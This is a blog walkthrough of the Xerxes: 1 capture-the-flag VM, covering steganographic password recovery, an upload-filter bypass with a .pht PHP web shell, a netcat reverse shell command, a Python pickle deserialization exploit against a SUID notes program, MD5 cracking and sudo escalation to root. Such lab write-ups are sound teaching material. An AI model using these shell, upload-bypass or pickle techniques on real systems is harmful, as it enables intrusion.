published on in writeup
tags: xerxes

Xerxes: 1

Xerxes is a great VM challenge, created by barrebas. It’s quite a devilish challenge, I found - especially getting the inital foothold. The goal is to obtain root and access the flag.


[email protected]:~# nmap -n -sV -A -p-

22/tcp open  ssh     OpenSSH 6.0p1 Debian 4 (protocol 2.0)
| ssh-hostkey:
|   1024 78:63:e9:43:33:d3:80:0e:b2:83:15:26:fc:41:ea:17 (DSA)
|   2048 48:69:ae:38:d5:a1:05:e2:f5:22:45:49:35:b0:ca:5c (RSA)
|_  256 14:3c:81:fb:32:dd:70:70:05:63:1a:d2:8e:ef:32:64 (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Debian))
| http-robots.txt: 2 disallowed entries
|_/ /dev
|_http-title: Site doesn't have a title (text/html).

Nmap picks out the contents of the robots.txt file, /dev/. Before I got too ahead of myself, I ran nikto, wfuzz and dirbuster, but nothing else popped.


This page has a password-protected upload function.

First, I tried uploading a simple PHP CMD file without a password, but received the following error: “Error: illegal file detected.”

Then, I ran echo test > test, tried uploading that without a password, and received the error: “Error: you have supplied an invalid password.”

That obviously gave me two pieces of information, but I couldn’t progress without a valid password. I tried to bruteforce it with a simple wordlist, but didn’t have any luck. The POST data is submitted to the web server with multipart/form-data encoding, which is a little different to the x-www-form-urlencoded format that I’m more familiar with.

On the forgotten password page is a QR Code image (but no actual functionality for resetting a password). I uploaded this image to a decoder website, which returned a base64 encoded string.


I then decoded this, which returned the message:

look deeper

I hate cryptic messages :)

Looking Deeper

So I took the clue to ‘look deeper’, and had a closer look at the QR image. I opened it up in The GIMP and pretty quickly something jumped out. There is a row of transparent pixels at the top-left of the image. You can’t see them on the web page, as the white background of the page shows through the pixels, but in an editor, you can see the checkboard canvas.

I did some manipulation on these pixels (brightness/contrast, levels & curves etc) but nothing else was revealed. I had a look at the pixel values and they are all pure white (RGB 255, 255, 255), but they each have a different level of transparency (Alpha value).

I collected these values for each of the transparent pixels until I had a full list.

75 121 115 114 75 121 115 114 87 122 52 114 75 121 115 114 75 121 115 114 75 122 119 116 88 84 52 114 75 121 115 114 76 105 115 117 76 83 48 116 76 83 52 116 76 105 52 61

I then tried applying various encoders/decoders to them. Eventually, I found that encoding these values in Hex:

4b 79 73 72 4b 79 73 72 57 7a 34 72 4b 79 73 72 4b 79 73 72 4b 7a 77 74 58 54 34 72 4b 79 73 72 4c 69 73 75 4c 53 30 74 4c 53 34 74 4c 69 34 3d

Then decoding them into ASCII:

K y s r K y s r W z 4 r K y s r K y s r K z w t X T 4 r K y s r L i s u L S 0 t L S 4 t L i 4 =

Gave me another base64 string. I removed the white spaces, and decoded that into the following:


I was really disappointed to see this, as I thought I was well off base. This doesn’t look like anything I’ve seen before, although I figured it would be a massive coincidence that the steps taken thus far gave me valid base64 string. So I thought this must be significant somehow.

Googling that string didn’t come up with anything. I went and found an online compiler of multiple programming languages - I admit that I’ve never seen this type of code before, but doesn’t mean it doesn’t exist.

Clicking through each of these languages takes you to a page, containing a small script sample. That made it a really quick exercise to get a very quick overview of each language. I kept going until I found one with the syntax matching my string.

The brainf**k language matched perfectly and when I pasted my snippet into the window, it produced a value of 45100.

I went back to the upload page and uploaded my test file again with 45100 as the password, and received: “test was uploaded. Have a nice day.” Following the link showed that the files are uploaded to the /dev/upload/ directory.

Web Shell

Even though I expected it to fail as before, I tried to upload my PHP CMD file - it failed with the same error message. I did some searching to find valid MimeTypes for Apache on Debian, and found what I was looking for fairly quickly on

application/x-httpd-php phtml pht php

This means that any file with an one of those three extensions, will be handled by the web server as PHP. PHTML was also blocked, but PHT was sucessfully uploaded: “cmd.pht was uploaded. Have a nice day.”

[email protected]:~/xerxes# curl
uid=33(www-data) gid=33(www-data) groups=33(www-data)

I used this command execution to obtain a netcat shell on the system.

cmd=/bin/nc.traditional 4444 -e '/bin/sh'
python -c 'import pty;pty.spawn("/bin/bash")'

Using this level of access, I was able to access /home/amanpour. There were several interesting files in here:

[email protected]:/home/amanpour$ ls -la

drwxr-xr-x 3 amanpour amanpour 4096 Dec 19 01:15 .
drwxr-xr-x 5 root     root     4096 Dec 17 23:34 ..
-rwxr--r-- 1 amanpour amanpour  270 Dec 19 01:28 .bash_history
-rw-r--r-- 1 amanpour amanpour  220 Dec 17 23:31 .bash_logout
-rw-r--r-- 1 amanpour amanpour 3433 Dec 19 01:27 .bashrc
-rw-r--r-- 1 amanpour amanpour  675 Dec 17 23:31 .profile
drwx------ 2 amanpour amanpour 4096 Dec 19 01:15 .ssh
-rw-r--r-- 1 amanpour amanpour 1240 Dec 18 02:53 lostpassword.png
-rw-r--r-- 1 amanpour amanpour 1220 Dec 18 02:57 newpassword
-rw-r--r-- 1 amanpour amanpour 1071 Dec 17 07:05 qr
-rw-r--r-- 1 amanpour amanpour 1235 Dec 18 02:51

If we view the .bash_history file for this user, it seems they used the steqr python script in conjunction with the newpassword file, to generate a new password.

[email protected]:/home/amanpour$ cat .bash_history
cat .bash_history
python -f newpassword

Repeating that command gives the following output:

[email protected]:/home/amanpour$ python -f newpassword

I tried using this password to SSH as amanpour and I was granted access :) At last a proper shell!

A proper review of the /etc/passwd and /etc/group files showed that users amampour and curtiz were members of a notes group, and delacroix was a member of the sudo group. This gave a good indication of the path I should be taking to obtain root. Another interesting thing which I almost missed, was shell entries for each user. amanpour and curtiz have /bin/bash, whereas delacroix has /bin/delacroix. No doubt this will come into play later :).


I had a look for SUID binaries and found one in /opt/notes/.

find / -perm -4000 -type f 2>/dev/null

[email protected]:~$ cd /opt/
[email protected]:/opt$ ls -l

-rwsr-s--x 1 curtiz notes 5111 Dec 18 05:59 notes
-rwxr-x--- 1 curtiz notes 1343 Dec 19 00:47 file is readable, so we can learn a few things.

  • The pickle module is imported
  • The default filename is notes
  • Files are saved in /home/curtiz

You can load the application and view the notes already entered.

[email protected]:/opt$ ./notes
 Welcome to Juan's to-do list! 
   type help for more info     
 Available commands:
   - add  [note] : add a note for Juan
   - show        : show to-do list
   - save [file] : save to-do list
   - load [file] : load to-do list
   - quit        : exit
load notes
 - I've found Marie's keyfile and was able to login via ssh,
 - but it seems she has added another layer of protection...

Probably a clue for obtaining the delacroix user - take note.

I went and did some reading around the python pickle module, and the actual python documentation contained an interesting warning message:

Warning: The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.

I carried on reading and came across a document called Sour Pickles, from an old Black Hat presentation which outlined the following PoC:

(S'sleep 10'

I modified this so it would open a new shell.


I put this code into /tmp/pickleme and executed notes.

[email protected]:/opt$ ./notes
load ../../tmp/pickleme
$ id
uid=1001(amanpour) gid=1001(amanpour) euid=1002(curtiz) egid=1003(notes) groups=1002(curtiz),1001(amanpour),1003(notes)

Curtiz & Delacroix

I now have access to /home/curtiz. The only interesting file in there is id_rsa. Reading the .bash_history file, it seems to indicate that this key is for the delacroix user, but curtiz was unable to log in properly and wrote the note we saw earlier.

[email protected]:~/xerxes# ssh -i id_rsa [email protected]
Linux xerxes 3.2.0-4-486 #1 Debian 3.2.51-1 i686
You have mail.
Last login: Thu May  8 05:46:02 2014 from

It seems the SSH portion of the login was successful, as it tells us there’s mail waiting, but we also got prompted for another password. This must be realted to the /bin/delacroix shell that we noticed in the /etc/passwd file earlier. It’s a binary executable, but has readable portions when viewed with strings. Luckily, the password the program prompts for is shown.

$ strings /bin/delacroix

So it seems the purpose of this program is to prompt for a password and launch /bin/bash when the correct one is entered. I SSH’d in again and tried this password, but it didn’t work. The next assumption was that this was an encrypted or encoded hash of a password. I used hash-identifier which told me it was an MD5 hash. Before I launched john, I tried my luck with an MD5 online cracker, which worked nicely.

3d054afb77714ca938d8bca104fcb141 MD5 : VonBraun

I was finally able to SSH in as delacroix.

[email protected]:~/xerxes# ssh -i id_rsa [email protected]
Linux xerxes 3.2.0-4-486 #1 Debian 3.2.51-1 i686
You have mail.
Last login: Fri May 16 13:57:11 2014 from
Password: VonBraun
XERXES checking security...
[email protected]:/home/delacroix$


I knew delacroix was a member of the sudo group, so tried to view her rights with sudo -l. However, VonBraun was not her user password; *sigh*… Damn you Bas.

There were two interesting files in her user directory: and Viewing the .bash_history file suggested that her user password was generated by Viewing this file showed that it was quite a simple script.

touch .last && p=$(date | awk '{print $4}' | md5sum | awk '{print $1}')
echo "XERXES has generated a new password: $p"
echo "  XERXES is forever"
echo "   at your service"

So a file is created called .last and the password generated is another MD5 of some portion of the date. It doesn’t seem .last is removed afterwards, so we can go back and redo these steps to obtain the same output. I’ve put the commands below in stages to make it easier to follow (there’s probably a quicker way to do it, this is just how I worked through it).

[email protected]:/home/delacroix$ stat .last                  
  File: `.last'
  Size: 0           Blocks: 0          IO Block: 4096   regular empty file
Device: 801h/2049d  Inode: 45529       Links: 1
Access: (0644/-rw-r--r--)  Uid: ( 1000/delacroix)   Gid: ( 1000/delacroix)
Access: 2014-05-08 05:48:48.586907479 -0700
Modify: 2013-12-19 00:19:51.024911360 -0800
Change: 2013-12-19 00:19:51.024911360 -0800

You can take either the Modify or Change date (as they’re the same). It’s important not to date the Access date, which will obviously not give us the result we want. Doing date | awk '{print $4}' confirms the field we’re after is the time, in this case it’s 00:19:51, but we’ll stick with using awk to ensure there are no mistakes.

[email protected]:/home/delacroix$ stat .last | grep Modify
Modify: 2013-12-19 00:19:51.024911360 -0800
[email protected]:/home/delacroix$ stat .last | grep Modify | awk '{print $3}'
[email protected]:/home/delacroix$ stat .last | grep Modify | awk '{print $3}' | cut -d"." -f1
[email protected]:/home/delacroix$ stat .last | grep Modify | awk '{print $3}' | cut -d"." -f1 | md5sum
6cf49e97c915079e27c09d41da9d95e4  -

So this gives us (what is hopefully) delacroix’s current password.

[email protected]:/home/delacroix$ sudo -l
[sudo] password for delacroix: 6cf49e97c915079e27c09d41da9d95e4
User delacroix may run the following commands on this host:
    (ALL : ALL) ALL

Elevating to root was now a simple exercise: sudo -i Now to read the flag…

[email protected]:~# less /root/flag 
"/root/flag" may be a binary file.  See it anyway?

You’ve got to be joking, I thought…

[email protected]:~# file flag 
flag: PNG image data, 250 x 269, 8-bit/color RGB, non-interlaced

Ah, that’s not too bad :) Downloaded this to my machine, and…